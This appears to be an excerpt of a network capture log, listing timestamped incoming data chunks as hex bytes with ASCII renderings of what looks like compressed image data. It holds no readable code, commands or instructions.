79 79 c7 4e 9d ec d7 bf fe 4d 18 36 6a d4 28 7b e2 f1 
Data Ascii: ]@&IApw6I]Sf[t'M]C'$Zi3!9T:NR`JoN>5^)GmG^<i}ZRKzzRluK-=2=r8\}#?Qr\coOnr:}qt*?+o!9Vjw$i:yyNM6j({

Timestamp
kBytes
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2022-05-27 06:46:25 UTC 784 IN Data Raw: eb 75 38 aa 53 66 68 0e fd 8d d1 3a 5f b8 60 81 ad 5f bf 2e 7c 4f 55 92 e5 d1 31 b4 1e 26 50 9d eb d7 6f 18 be 
07 59 b4 70 81 4d 99 32 d9 ea d5 ab bf 53 40 5f 4c db 86 82 0d 97 2f 5b 96 6c 23 9b 42 57 ad 6a 59 ba 5e fd fa 21 38 6f 
ee 9c 39 56 a3 46 f5 b0 bd 94 2a 5d 3a 33 d7 c1 35 62 d8 d0 d0 42 5b 9a 82 ef b4 6d 37 68 d8 78 97 f5 aa f5 ad d6 eb 16 
68 dd ad 5b 1b 82 1a 75 be 57 ad 5a 75 5b 92 7c 27 6a 91 4e 2d c2 29 f0 ce 69 7d 68 bd 2e 98 3f 2f 04 cb 6d de b4 39 9c 
17 54 a8 50 31 04 a7 2a 10 55 66 cc 98 6e 0b 92 fd bd 7e 1f ea 56 d6 ad 59 bd ca a6 ab 75 ba 64 dd aa 95 c3 46 8d 9a 
58 d9 cc 71 e1 aa 95 2b 6c ca e4 49 e1 a1 83 56 ad db 85 a0 bf b8 55 45 7d 6f 0b e7 cf b7 32 c9 76 d6 ba 4d bb 64 79 76 
5e f7 39 dd 44 cf 0b df b9 96 4d cb 5d 27 a9 93 1e 6e 98 
Data Ascii: u8Sfh:_`_.|OU1&PoYpM2S@_L/[l#BWjY^!8o9VF*]:35bB[m7hxh[uWZu[|'jN-)i}h.?/m9TP1*Ufn~VYudFXq
+lIVUE}o2vMdyv^9DM]'n

2022-05-27 06:46:25 UTC 788 IN Data Raw: fc f3 ec 94 53 4e 0d 0f c4 ea a1 8d 89 13 27 6e bf 6e b8 fd 1a e3 9b 6f 84 f2 ce 3b ff fc 70 2c b7 e3 1a e3 a2 9c 
69 33 f9 87 6b 8c ff f8 7b 38 de d4 03 b3 3b 5d 63 fc e7 23 a1 3b de 3d 5d 63 04 00 00 00 00 1c 1e 74 ae 37 79 f2 94 70 
cd 50 e7 83 07 42 b1 bb ee bc f3 ee cc 7b 00 d8 85 2e 6c 4d 9c 30 c1 da b6 6b 17 5a b5 db bc 79 4b b8 d1 d9 a7 4f ef d0 
b2 49 f3 16 2d ac 7b f7 ee a1 05 38 5d ec d2 d3 ae 27 9c 78 62 68 99 a4 73 e7 2e b6 6e dd 7a 1b 3d 6a 94 d5 ad 5b cf ea 
d5 af 1f 9e 26 55 2b 2c 1f 7c f0 be 75 eb d6 3d 3c 0d db 2d 99 5f d3 ab 35 bd 75 eb d7 d9 a4 a4 4c b5 a2 72 fc 09 27 84 
3c 3f fd e4 d3 f0 b4 ec 35 d7 5e 1b 9e c2 6d df a1 43 98 be 7b f7 1e e1 06 ee b8 71 63 ec b4 d3 4e df 6d 6b 78 f5 1b 34 
b0 8a 95 2a da 82 f9 0b 42 2b 2a 6a 4d 65 c3 fa 0d 
Data Ascii: SN'nno;p,i3k{8;]c#;=]ct7ypPB{.lM0kZyKOI-{8]'xbhs.nz=j[&U+,|u=<-_5uLr'<?5^mC{qcNmkx4*B+*jMe

2022-05-27 06:46:25 UTC 792 IN Data Raw: 11 c3 ed dd 77 7a d9 d1 47 1f 6d 3d 8f 3d 36 eb 3e 51 74 5e a7 63 3d 3d 78 7a e2 89 27 86 7d eb b4 69 d3 6c 
cc 98 d1 d6 ba 4d 1b 6b dd ba 75 66 ca 9c 73 41 5d 17 d4 39 63 db b6 ed 42 ab c3 6e ed ba b5 e1 18 6e 54 b2 3f d6 f5 
b3 b1 63 c7 da 47 1f 7f 14 7a 7d 28 56 ac 78 38 16 d4 3c 3a fe d3 35 35 5d 8b 53 9d 74 5c 19 3f 34 bb 64 f1 92 cc f1 62 
39 eb 90 39 5e 0c d7 18 e7 e4 76 8d b1 c6 8e 6b 8c c7 1f 6f 65 ca 96 0d d7 18 c7 8e 19 9b 73 8d 71 c4 8e 6b 8c 1f 7e 90 
b9 c6 d8 74 cf d7 18 01 a0 b0 98 33 7b 56 b8 bf d1 a0 41 c3 70 3e 0d 00 00 70 b8 51 f0 9c 1e c8 fa db 83 7f 0b 0f e0 d7 
aa 55 db 6e bf ed e7 c9 f9 6a ab ac c7 37 3a d7 2c 5f be 7c e8 e9 67 c2 c4 09 36 79 f2 e4 d0 1b d8 51 47 75 b4 8a 15 2b 
e6 7a 7e bc 37 08 c2 03 b0 5b ba 61 ab 00 30 05 7f 35 68 d0 
Data Ascii: wzGm==6>Qt^c==xz'}ilMkufsA]9cBnnT?cGz}(Vx8<:55]St\?4db99^vkoesqk~t3{VAp>pQUnj7:,_|g6yQGu
+z~7[a05h

2022-05-27 06:46:25 UTC 796 IN Data Raw: f2 3c c5 5f 01 00 00 b0 f7 08 c2 03 00 e0 c0 20 08 0f 00 50 68 11 84 07 00 00 8e 44 e9 00 88 38 b8 46 69 d3 
a6 4d db 03 6d 34 3c 0e 8c 50 90 83 07 44 c4 af 1e fc e0 79 fa bc fe de cb f3 f9 3d 15 2f 5e 3c e4 e1 c3 9d cf 13 e7 e3 79 
88 a6 8f f3 8a 87 c5 fc b3 cf e7 f5 f1 e4 cb e7 e3 c5 f3 f4 e4 cb 28 e9 fc 63 9e 4f 9c b7 bf f7 fc bd 8e f1 7a f3 57 f1 3c 3c 89 
4f a3 79 b2 ad 6f 25 2f 23 db ab 52 b6 ef 42 94 8f 92 e7 ad ef 23 9d 34 dc a7 53 4a e7 ab e4 c1 9b 3e cc f3 17 9f 2f ae b7 
78 3e 7a f5 79 e3 f9 c4 97 3b 7e 8d eb 21 71 3d f4 de f3 89 cb f5 f9 7d 79 3c 79 7d bc 2e 9e 8f 92 86 79 3e 71 1e 9e af 8f 
f7 e9 7d 1d f8 6f c7 eb e1 3c 0f 4f 5e b6 78 5e 71 92 b8 ec 6c f3 6a 3a 2f 2b 2e d3 e7 17 9f 5e 75 d7 7b bd a6 d7 83 e7 2b 
be 6c ca cb 97 27 5e 36 7f af e4 65 
Data Ascii: <_ PhD8FiMm4<PDy=/^<y(cOzW<<Oyo%/#RB#4SJ>/x>zy;~!q=}y<y}.y>q}o<O^x^qlj:/+.^u{+l'^6e

2022-05-27 06:46:25 UTC 799 IN Data Raw: 49 49 ca 15 00 00 ff f4 49 44 41 54 af 86 2b 79 79 7a f5 24 3e 5e 49 7c 3a cf df 53 3c bd ea 18 d7 33 2e 4f 49 
e3 34 9d e6 f3 f5 ec db 8f af 73 d1 74 9a 5e eb d5 d7 f3 ee b6 9f b8 2e 5e 8f b8 0e 3e af 92 0f d3 ab a6 d1 b4 a2 f9 55 be 
d7 cb eb a3 e1 a2 e9 e2 7a c5 29 ce cf df c7 e5 fa 30 cf c3 d7 69 5c d7 b8 be 9e 97 d7 cf e7 f1 57 25 2d ab 27 1f 16 e7 e1 
e5 a6 f3 f3 f7 71 be ce d7 a7 5e 45 e3 e2 b2 3d 79 5e 71 9e 9e 3c 6f 7f 4d 8f f3 e1 a2 72 b4 8e 7d 3d c7 eb db cb d4 f4 be 
1c 5a 26 e5 a3 e1 9e 87 cf a7 e4 df 5b bc 4d 29 69 1a 4f be ce 7c 19 01 00 00 b0 f7 08 c2 03 00 e0 c0 c8 b9 4a 02 00 00 
00 00 00 0e 7b 0a 82 88 93 07 3e 78 20 45 1c 54 e1 ef f5 ea 01 13 9e e2 71 3e 3e 0e 10 89 93 4f 1b 97 99 ae 8b 86 a5 f3 
f1 7a 88 82 2b b2 05 66 28 e9 73 1c 80 91 5e 
Data Ascii: IIIDAT+yyz$>^I|:S<3.OI4st^.^>Uz)0i\W%-'q^E=y^q<oMr}=Z&[M)iO|J{>x ETq>>Oz+f(s^

2022-05-27 06:46:25 UTC 804 IN Data Raw: 08 7f d5 30 cf c7 83 37 3c c5 41 17 e2 c1 15 9e 7c b8 4f e3 9f 45 e3 55 cf 38 f0 c3 03 3c 94 34 dc f3 50 39 5e 
96 bf aa 3e 5e 27 05 b2 c4 01 78 fe de 83 6a 7c f9 bc dc 38 89 d7 cd 53 4c 9f 35 af 2f b3 07 b7 78 f9 3e bd e7 e7 cb e4 79 
79 1d fd d5 eb 91 a6 e1 9e 77 1c bc e6 65 39 5f 2f 4a 5e 2f 4d e3 cb 1a cf a3 f1 5e 9e d7 cd d7 75 fc aa 71 e2 75 f6 e4 e2 
79 3d c5 df 95 8b eb 13 a7 78 1d 78 9d 94 54 86 2f 8b e8 55 c3 7c bc e6 f5 f9 94 bc 4e d9 ea e3 79 f8 b4 e9 79 3d 69 98 
a7 b8 7e 71 7d e2 75 ec f5 d1 34 71 9e 1a 26 e9 7a e8 b3 f8 3c e9 b4 bb 65 50 f2 e5 d0 74 5e 1f 9f d6 eb e5 e3 95 9f ea 
13 6f 2f fe 1a 97 a7 e4 f3 ab 8c f8 b7 a6 61 71 7e 71 4a cf e7 af aa 83 c6 65 5b 2f 9e 34 ce c7 eb d5 eb e1 7c b9 7c b8 a6 
f1 3c fc 7b c9 96 d2 eb 5f 54 af 78 7b 4c 2f 
Data Ascii: 07<A|OEU8<4P9^>^'xj|8SL5/x>yywe9_/J^/M^uquy=xxT/U|Nyy=i~q}u4q&z<ePt^o/aq~qJe[/4||<{_Tx{L/

2022-05-27 06:46:25 UTC 808 IN Data Raw: a7 dd e9 03 ae e6 4e 2c e6 50 8c b3 dc e5 02 3b 67 9f a2 14 d8 39 73 31 8e 7d e2 2f a7 1e f6 ce 81 fe f4 bd fe 
57 ae b8 d2 bf ea 6f 0b da d8 9e 45 37 2b 60 ab df f5 f5 54 9f 16 7b db d3 27 38 bf 6b 3b 5e f0 a3 ec f8 ae ef 58 4e bf f6 
d1 a3 af cd 19 7b f5 b6 05 d7 68 3d 4b 5b e7 45 ff ca 82 de da 3c b2 7b 24 ea 6f 0b eb 4f ff ce 6d 1f f4 e5 9c fd 53 c7 d6 fe 
a2 fe 8a f3 b2 b6 67 bb 7a 8b 36 8a 7a f6 57 9e 03 76 b2 7d ed b7 45 8c 0b db 5f f6 cf 8c 6d d5 3f 05 ce 38 e7 cf a5 6b cb 
95 2f 64 d1 86 f9 ed 2f c6 38 45 d4 5f 3b fb ea 3d 65 bb 7f 36 d3 3f ff ac 96 ed 47 44 44 44 c4 cb a9 08 2f 22 22 e2 7d a8 
08 2f 22 22 3e 2c 15 e1 45 44 44 c4 b7 cc 16 3c 6c 01 c4 ce c3 55 71 c3 69 bb 2d ec dc ce 83 fe b6 88 62 fb 72 da ae cf 
d5 5d 1f 57 dc cd 0b eb 57 fe 4e ee f2 
Data Ascii: N,P;g9s1}/WoE7+`T{'8k;^XN{h=K[E<{$oOmSgz6zWv}E_m?8k/d/8E_;=e6?GDDD/""}/"">,EDD<lUqi-br]WWN

2022-05-27 06:46:25 UTC 813 IN Data Raw: 7c 57 fe fb bf ff fb 77 ff f2 2f ff f2 c3 4c 44 44 44 7c 0e 2a c2 8b 88 88 0f 4b 45 78 11 11 11 11 5f 27 14 a3 58 e4 
42 d1 89 85 35 16 1b ad 6c 61 0a 36 5b 6c 02 cc 63 bf b6 14 70 61 b7 b6 da 6f 5c 0b 68 4e 71 0d bf db 32 af 0f 30 0f c7 
c6 00 5a d6 29 92 51 56 1f 5d 7c 9e fb b6 18 c7 98 67 ee 0a ec 59 ec 9e f0 a1 4f fd 6d fe 6b 07 cc ad fd ee db be 72 8e b5 
41 3c 73 45 dd 33 5f cf 82 f9 cd d9 02 4a 0b f0 10 7c a0 83 78 16 67 4c 5a f4 3c a7 8d 61 1f 58 d7 4e ff c6 30 8e 3e f6 4c 
36 1e b2 b9 a8 ab fe ea 21 cc 01 79 58 48 45 f1 dd 0a 73 e6 88 1f fc 7b 86 67 9e fa 44 0f dc 23 62 1e 9b 2f 36 9e 91 79 af 
2d 71 3d 2b 60 0d 9d 73 2f bb 67 a1 cf 3c 42 1c 72 f4 b9 9b eb 99 8b f9 d0 ea 13 36 97 3d 8b 33 c6 fa 65 6d f7 02 ce b9 
be f6 8a f6 0a 60 bf 02 da 6e ce 9b fb 
Data Ascii: |Ww/LDDD|*KEx_'XB5la6[lcpao\hNq20Z)QV]|gYOmkrA<sE3_J|xgLZ<aXN0>L6!yXHEs{gD#b/6y-q=+`s/g<
Br6=3em`n

2022-05-27 06:46:25 UTC 818 IN Data Raw: 11 59 1b fc 9e e7 62 eb f9 d0 ae 8d 7d 24 22 22 22 22 be 3d 2a c2 8b 88 88 78 1f 2a c2 8b 88 88 0f 4b 45 78 
11 11 11 11 5f 0f 16 9b 58 48 b3 05 45 16 d6 58 80 42 b1 8c 05 4b 16 cf 6c 01 cd 16 a4 d8 df 16 59 3b fa ae 6f c1 8a c5 
2c 88 fa b6 ce a3 83 98 9f f6 f6 77 8c 3e 71 b0 a7 48 e9 2c 58 42 d4 07 cf c4 73 31 2f f7 a0 8f f3 b7 e0 19 4f 3b 5a 61 de 
1c 8c ed 9e 14 fd ab 77 ce b3 0f 73 31 5f f7 a6 0d 3e e9 b3 8e 80 36 da 69 43 ab 38 6f ab af cd d5 7c 4f 9b 1d 6f 6e e7 fa 
29 ac ab 8b 98 ab f3 ee c9 33 58 3b 6d 18 ef de f7 b9 30 d6 4e f4 af ad fe b5 a7 35 06 02 fb 2e f0 73 81 58 7c 47 cb bc 02 
fa 3e fd 2b e6 64 0c fb 9b 1b a2 af 1d 83 e3 8d e1 f3 61 df f8 37 c6 da af 8d 72 c6 dd 7c ae 74 d5 43 3c 17 df 73 e6 6c f5 
b5 ad 7e 7c 5e e6 6d ff 2e ce 95 ac ef f5 b7 
Data Ascii: Yb}$""""=*x*KEx_XHEXBKlY;o,w>qH,XBs1/O;Zaws1_>6iC8o|Oon)3X;m0N5.sX|G>+da7r|tC<sl~|^m.

2022-05-27 06:46:25 UTC 822 IN Data Raw: f8 b0 54 84 17 f1 f1 b1 a0 0e b1 00 6f 8b f0 fe f6 b7 bf fd 3f 85 78 8a f6 11 11 11 11 11 11 11 11 9f 13 8b ef ec 
5b 64 67 e1 dd cf 7e f6 b3 7f 28 c2 a3 55 4f 9b 88 88 d7 52 11 5e 44 44 c4 fb 50 11 5e 44 44 7c 58 2a c2 8b f8 f8 6c 51 dd 
59 80 87 50 84 87 38 af 9e c5 77 b6 11 11 11 11 11 11 11 11 9f 8b b3 08 6f 8b ed 10 8b f0 6c 59 d3 66 6d 23 22 5e 43 45 
78 11 11 11 ef c3 ff f9 bf d0 44 44 44 44 44 7c 10 ae fe 62 fa ae e8 ae bf c4 8e 88 88 88 88 88 88 88 f7 c0 bf 93 b8 fb bb 
08 e7 fb 3f 0c 46 44 44 44 44 7c 9d f4 9b f0 22 22 e2 c3 d2 6f c2 8b f8 f8 f0 17 d3 8a bf 09 cf df 7a e7 3f 45 7b fe 26 bc 15 
7d 44 44 44 44 44 44 44 44 7c 0e 2c ae a3 55 f8 4d 77 fb 9b f0 f6 b7 e0 ed 6f c2 a3 d5 36 22 e2 b5 f4 9b f0 22 22 22 de 
87 8a f0 22 22 e2 c3 52 11 5e c4 c7 e7 
Data Ascii: To?x[dg~(UOR^DDP^DD|X*lQYP8wolYfm#"^CExDDDDD|b?FDDDD|""oz?E{&}DDDDDDDD|,UMwo6""""""R^

Timestamp
kBytes
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Direction Data
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2022-05-27 06:46:25 UTC 826 IN Data Raw: b1 9c db 79 44 fb d3 e7 29 a7 0e ac af 13 75 e4 4a e7 c4 9c 4e 31 7f d9 3c 4e 39 d7 45 7b 7d ca a9 07 ac fb 6c
78 ff f7 bf 33 3e 3b d0 d6 67 b6 cf ee 4e d0 d1 ce b8 b6 40 6c 63 ec bb 74 95 b3 7b 71 cd d6 f5 3b bf fa 06 74 c8 69 f7 20 
d8 98 83 71 8c b1 e3 d5 01 63 eb 8b 79 63 ae a8 0f 9e 0b 68 2f fa 32 bf ed 7b ae a7 a8 27 c6 f4 cf 34 5a 9f b1 b9 9f 71 18 
9b 3b 2d f6 bb 4f 75 29 c0 f3 67 15 01 f5 95 8d 03 e6 b7 71 80 56 11 d6 11 d1 0f 2d 22 fa db 3f 37 f4 0f ee f7 6e df c8 69 
03 ea a9 ab 88 b9 6c ab cf 3d 97 f3 5c cd 63 7f be 18 73 5e 8b b1 36 e6 c2 3c 82 7f fb 40 0c b8 cb df 5c 68 11 ec cd 95 67 
ea 73 65 5e df e8 01 fd 88 88 88 88 88 e7 52 11 5e 44 44 c4 fb 50 11 5e 44 44 7c 58 2a c2 8b 88 b7 c4 cb 53 84 cb 54 2e 
68 bd b0 e5 32 5d f1 f2 d6 8b d6 bd 50 55 
Data Ascii: yD)uJN1<N9E{}lx3>;gN@lct{q;ti qcych/2{'4Zq;-Ou)gqV-"?7nil=\cs^6<@\hgse^R^DDP^DD|X*ST.h2]PU

2022-05-27 06:46:25 UTC 830 IN Data Raw: 3b 1b e3 c9 ea 6a bb 7b 43 7c 06 9b 0b a2 fd b2 eb a7 b8 be 98 f3 19 13 71 ed f4 83 b8 e6 ba 78 c6 5b c4 81 
b8 ef 2b 5b 6d 7c 1e 7b 46 67 3c fb b6 e4 b9 cf 4a d1 4e 91 1d 9f 7d d9 b9 33 16 72 f6 59 5f 39 f5 68 d5 7b 29 eb f7 2a d6 
ea 18 07 f1 3c f6 6c 36 87 fd 39 b8 fb 59 d0 46 d6 c6 be cf 0e ec ef 33 3c 73 73 ac 0e fa 0a e3 53 ff b4 7b 6a 7d 63 9e 02 
c6 74 1f 5b 48 76 17 ff 1c 9f f3 fa 3e d1 d7 95 9e fb 57 76 ce 5c ce 76 d7 91 dd c3 fe ac ed 7e 64 f3 5e 21 27 fd c2 19 6b 
b9 8a 89 68 83 bf 7d e7 10 e3 08 7a e8 6f 1c 38 cf 6a 59 9d 13 fd d1 6e 5e 9e 01 02 eb db fe b2 b9 88 ba 6b b3 72 fa d2 
9e 98 c6 df 3c 58 47 d7 33 da 76 f7 6c 2e da d2 b7 dd 75 45 ff 8a 7a 57 b9 a9 7f da ed d9 ed 19 9e f9 eb c3 7e 44 44 44 
44 c4 23 2a c2 8b 88 88 78 1f fe ef bf 5f 10 11 
Data Ascii: ;j{C|qx[+[m|{Fg<JN}3rY_9h{)*<l69YF3<ssS{j}ct[Hv>Wv\v~d^!'kh}zo8jYn^kr<XG3vl.uEzW~DDDD#*x_

2022-05-27 06:46:25 UTC 833 IN Data Raw: ca 19 50 fc 76 0a e7 c3 3a 3e e1 8c b3 39 82 79 ed 33 75 4c df 79 05 7d 6c 89 c1 33 a0 d0 87 98 5b 84 c7 ba 
f6 0a 63 f3 37 b6 30 67 9e db 5e cd 63 6b 7c df 4d 64 f7 bc b1 f7 7d c2 07 3a e4 88 be b9 d2 2e e8 5e 09 f6 b4 cb fa b0 3d 
e7 c0 bd 28 ab 7b b5 17 85 75 6d 88 bd 67 8a 9c 7b 5b bf 88 73 bb 66 3c fd 23 80 1f cf ce 9f 4d 5a 84 35 f7 7e fa 84 cd d1 
7c e0 4a 17 5c 37 47 da 3d 83 cd 0f d0 df e7 8a 6c ac f5 6f eb 3a 76 e8 18 13 ce 5c 5c d3 0f 71 3d a7 cd 87 35 74 f1 eb 39 
99 cf d5 7b e6 fe 10 d9 58 b6 a7 9e 31 6c 11 e7 b7 05 6c cc d5 3f 23 af 7e 2e 15 6d 22 22 22 22 22 9e 43 45 78 11 11 11 
ef 43 45 78 11 11 f1 61 a9 08 2f 22 de 92 bd 30 f5 22 95 8b 5a 64 2f 6f ed ef 25 ee c9 79 f9 7a a5 23 e7 9a 97 bb 8a 73 db 
8a 3a 1b 47 59 d4 7b 24 cb fa 3b 2f 94 45 3b 
Data Ascii: Pv:>9y3uLy}l3[c70g^ck|Md}:.^=({umg{[sf<#MZ5~|J\7G=lo:v\\q=5t9{X1ll?#~.m"""""CExCExa/"0"Zd/o%yz#s:G
Y{$;/E;

2022-05-27 06:46:25 UTC 837 IN Data Raw: 37 7f 42 8c 33 f7 73 0f 42 1f 71 cd 56 5c 47 dc a3 f3 e8 ae 6c 8c 2b f4 b3 ac dd 8a 68 b3 b6 77 63 d0 f6 dc f7 
e9 17 b4 91 5d d7 27 e2 f3 f5 5d bc 92 88 88 b7 a4 22 bc 88 88 88 f7 a1 22 bc 88 88 f8 b0 54 84 17 11 11 5f 1b 7b 99 b3 
72 75 89 74 5e cc 38 0f 7b 71 c3 e5 0e dc 5d e6 ac cf 95 45 5b 45 9f 0b 39 ee c5 a7 97 8c a2 9d 3e c4 78 d8 80 eb ab 0f 
ab b7 2d 72 c5 ae ad 3f 84 cb 2e fb fa 07 6d 1e f9 b4 3d 75 f4 65 1c 5b a0 bf b6 9b fb 8a f6 eb 43 59 d4 b7 2f 57 fa ac 13 
ef 4a 96 33 de dd 18 6c af 30 37 74 36 37 39 6d af 7c e9 e3 ec a3 ab 9c f9 21 cb 39 7e 4f ce 7d ef 5e 64 f7 b4 2d ec 1c 7a 
af dd cb c6 d8 1c d6 df a3 3c 7e 4c cc d3 fc e0 9c fb d2 72 8e 78 c4 f9 de 3a de 79 df f1 ab 71 44 fc 23 fb 33 84 f8 6d c3 f7 
e7 df fe f6 b7 bf f7 ef be 79 56 ce ef 42 
Data Ascii: 7B3sBqV\Gl+hwc]']""T_{rut^8{q]E[E9>x-r?.m=ue[CY/WJ3l07t679m|!9~O}^d-z<~Lrx:yqD#3myVB

2022-05-27 06:46:25 UTC 841 IN Data Raw: f6 55 1c fb ca a9 7f e6 7b ca ea 5e c9 53 3a fa 59 39 cf d2 16 31 6f 39 73 df 3d 20 6b ab ac be 62 6c e4 6a af 
6b 6b 7b 8a 3a ca da ae af 2b 39 6d 76 4e d9 18 67 6c d7 ce b1 a2 3f 7d 9f 7b 54 4f 5b 39 c7 e0 3b 16 11 11 11 1f 87 f3 bf 
f7 7e 03 ec b7 c0 39 a7 f8 0d e1 f7 c4 7e 57 d0 02 df 0f 5b 6c b5 72 7e 5b ac ef 47 a2 ee c9 dd dc 23 39 75 c8 db 6f a4 fd 
5e b2 5d dd 53 ee d6 3f 95 fd d6 b7 3d fd aa 73 8a d0 37 1f f2 dc 3d 29 ae af ed 95 cd cf 7f fe f3 ef e5 17 bf f8 c5 3f 88 f3 
fb 3d 7f fa 46 e0 2a 3f d8 78 f8 50 f4 73 e5 77 c7 ce 9d 12 11 11 11 11 11 5f 27 15 e1 45 44 44 44 44 44 fc c8 78 d1 b2 17 
3b cc ed e5 8c 17 38 7b 39 b3 a2 ce 0a 17 4a 5e 2e 79 c1 74 37 77 ca ea ac de e6 71 e2 e5 94 fb 38 2f a7 16 e7 10 fd d1 
2a bb be e2 ba fb b3 bd 12 cf 61 75 91 
Data Ascii: U{^S:Y91o9s= kbljkk{:+9mvNgl?}{TO[9;~9~W[lr~[G#9uo^]S?=s7=)?=F*?xPsw_'EDDDDDx;8{9J^.yt7wq8/*au

2022-05-27 06:46:25 UTC 845 IN Data Raw: 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 5e 49 45 78 11 11 11 11 11 11 11 11 11 11 11 11 
11 11 11 11 11 11 11 af a4 22 bc 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 57 52 11 5e 44 44 44 44 44 
44 44 44 44 44 44 44 44 44 44 44 44 44 c4 2b a9 08 2f 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 e2 95 54 
84 17 11 11 11 11 11 11 11 11 11 11 11 11 9f 8d ff fd df ff fd 5e 9e e2 b9 7a ef 85 f9 bc 46 22 22 22 22 22 e2 db a2 22 bc 
88 88 88 88 88 88 88 88 88 88 88 88 f8 51 a9 70 2d 22 22 22 22 22 be 66 7e f2 87 3f fc a1 ff 55 13 11 11 1f 92 3f fe f1 8f 
df fd ee 77 bf fb ee 37 bf f9 cd 0f 33 11 11 11 5f 27 2f b9 8c fa c9 4f 7e f2 43 ef cb e3 6a 1f ef 95 ef d7 72 a1 b7 e7 f1 35 5d 
42 7e c9 ef 5d 44 44 44 c4 23 3e ca b7 f6 a7 f2 35 
Data Ascii: """""""""""""""""""^IEx"WR^DDDDDDDDDDDDDDDDDD+/""""""""""""""""""T^zF""""""Qp-"""""f~?U?w73_'/O~Cj
r5]B~]DDD#>5

2022-05-27 06:46:25 UTC 850 IN Data Raw: a1 c7 56 f4 7a d4 79 47 d8 4c 5f bc 84 cb cb b7 fe 67 c8 78 11 17 f0 c7 5e f0 99 f1 c0 de c9 37 6d e7 94 36 63 
2b 05 6c 23 58 cd f7 be b0 8d 4d bf 40 cc 1e a2 8c b1 07 7c b5 4f 11 11 11 91 0f 01 df 61 d2 f2 bd 86 ef 57 dd f2 bd a7 bf 
07 f1 bd 8a 36 c2 17 f3 51 be 6b c6 07 df 3b d3 9f 31 da 07 7e 80 31 fc c5 9e b5 2d c6 b1 69 5f 7c ef 9a df c5 02 76 59 43 
8e fc 05 bc 88 9c db 67 34 73 e6 3a 74 8c 8e 35 61 8e bc f8 be 0b ed 1f df a1 7d d2 9f ea bd 4e 3f ad b0 1a 3f 52 58 c5 89 
a0 6d c3 b4 e9 3d f7 f7 67 be fb 47 cc f7 3a 11 91 4b 61 11 9e 88 88 c8 75 f8 fb ff ca 11 11 11 11 11 11 91 27 0b 2f 64 fa 
05 4d c8 0b 1f 5e d4 45 bc 9c eb 97 69 53 6d 93 6b 6c 5b ab 71 5e d2 b5 af 08 7f ab 31 5e 12 9e d2 5c 3f e3 b6 da 3f 62 ff 
f3 25 58 d3 67 18 e6 d9 9d f2 c1 f8 b4 
Data Ascii: VzyGL_gx^7m6c+l#XM@|OaW6Qk;1~1-i_|vYCg4s:t5a}N??RXm=gG:Kau'/dM^EiSmkl[q^1^\??b%Xg

2022-05-27 06:46:25 UTC 854 IN Data Raw: cf e4 52 df ff 1e 7a 2f 56 7b b8 34 0f cd 0d 3a a7 c7 c8 4f 44 e4 14 16 e1 89 88 88 5c 87 ff ff cf 06 88 88 88 88 
88 88 88 5c 91 bc 7c 9a 62 3c 7f e1 0e 7d f2 c9 27 ff 23 c6 d3 4e 1f d1 ad b2 da eb 43 d4 ac e6 ef a3 66 5e 8b 88 88 88 
7c 4c cc ef 49 ad fb b0 5a df 7a 08 bb b5 3d 46 ff a1 31 de 97 87 c6 cd ba d6 63 30 63 dc 57 d0 7d 11 11 11 11 11 b9 3d 
fc 4b 78 22 22 72 b3 f8 97 f0 44 44 44 9e 3e bb bf 2a 71 ee 5f 9b d8 bd c8 ba c5 17 5c 97 fc 0b 1c cd 43 fd fa 12 51 44 44 
44 44 e4 bf f0 bd da ef c9 22 f2 d4 f0 2f e1 89 88 88 5c 07 ff 12 9e 88 88 88 88 88 88 7c 30 fa 05 55 fa 5c 77 bb 53 b3 1a 
93 ff 72 e9 b3 f1 ac 45 44 44 44 44 44 44 44 44 44 44 fe 8b 45 78 22 22 22 22 22 22 f2 41 d9 15 d0 9d 2a f4 62 be ed 76 
be 6e 01 f6 f6 10 1d b1 b2 3f 25 11 11 11 11 
Data Ascii: Rz/V{4:OD\\|b<}'#NCf^|LIZz=F1c0cW}=Kx""rDDD>*q_\CQDDDD"/\|0U\wSrEDDDDDDDDDDEx""""""A*bvn?%

2022-05-27 06:46:25 UTC 858 IN Data Raw: 7b 80 df 08 1b 72 8b 7a 3d fd 28 10 9f 1c f1 37 fb f8 27 d7 ac 4f 6e 39 9f 29 ce 83 7d c4 9e 58 f8 99 7e a7 b0 
25 3f ae f1 43 8b ef 86 31 f2 4c 4b 1f 75 8e d8 c7 5f 72 9a cf 78 e7 01 ac 09 9d 4f 34 f3 8e 80 5c 56 82 b6 0f 3b 9b c4 49 
7e 88 f3 89 5d f6 95 7b c1 b3 9c 36 d7 b9 67 21 b6 fd 73 23 3f 33 d2 f2 cc 66 ef 73 1f 22 22 22 22 22 22 b7 86 45 78 22 
22 22 d7 c1 22 3c 11 11 b9 59 2c c2 13 91 4b d2 c5 01 29 6c c8 0b 7e 8a 78 52 78 97 02 3c fe 1a 5e ae 33 47 51 09 2f f6 
29 24 a0 e0 81 62 82 ee 77 31 c0 8c 8b 1a ae bb 3d 1a 03 f2 21 1e 7d e6 ba 65 7d 17 74 a4 8f cf ac a3 c8 21 a2 30 8a 02 
87 88 7e ef 35 fe 5b 1f 33 9c 65 5a ce b7 0b 7f 52 5c 92 67 8d 22 bc 28 f3 3c 63 59 c7 19 ce 73 45 39 77 ee 05 f7 8a fb 92 
79 62 13 0f e5 3a e3 99 cf 7d 9b cf 6b c6 79 36 
Data Ascii: {rz=(7'On9)}X~%?C1LKu_rxO4\V;I~]{6g!s#?3fs""""""Ex""""<Y,K)l~xRx<^3GQ/)$bw1=!}e}t!0~5[3eZR\g"(<cYs
E9wyb:}ky6

Timestamp
kBytes
transferred

Direction Data
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2022-05-27 06:46:25 UTC 862 IN Data Raw: be 1f 19 8f 0d 39 f0 3c 25 0e cf 5e b4 7a 26 a2 40 ee b4 3d 87 ff 90 b9 29 6c 23 6c 23 e6 21 63 c9 97 02 1a c4 
5e 3a ce 8a f8 62 5f 5d b4 83 fa 73 36 d5 e3 81 5c 38 d3 88 d8 e4 dd b9 87 cc 47 59 33 05 e4 48 8b a6 af ac c1 1f b1 3a 
c7 5c c7 26 67 43 e1 11 22 6f d6 70 9f d9 3f 2d 7e 81 78 93 d8 10 93 f8 5c 47 ac 4b 4c ce 0a 65 8c bd 60 9f d8 ec 85 31 
e0 ba c7 80 18 ed b3 99 6b 72 8d 0d 6b 73 5e f3 d9 c2 57 f2 e1 9c 28 c0 e3 ac c8 35 cc 38 59 db 0a b1 89 58 3b cf 9b 3d 
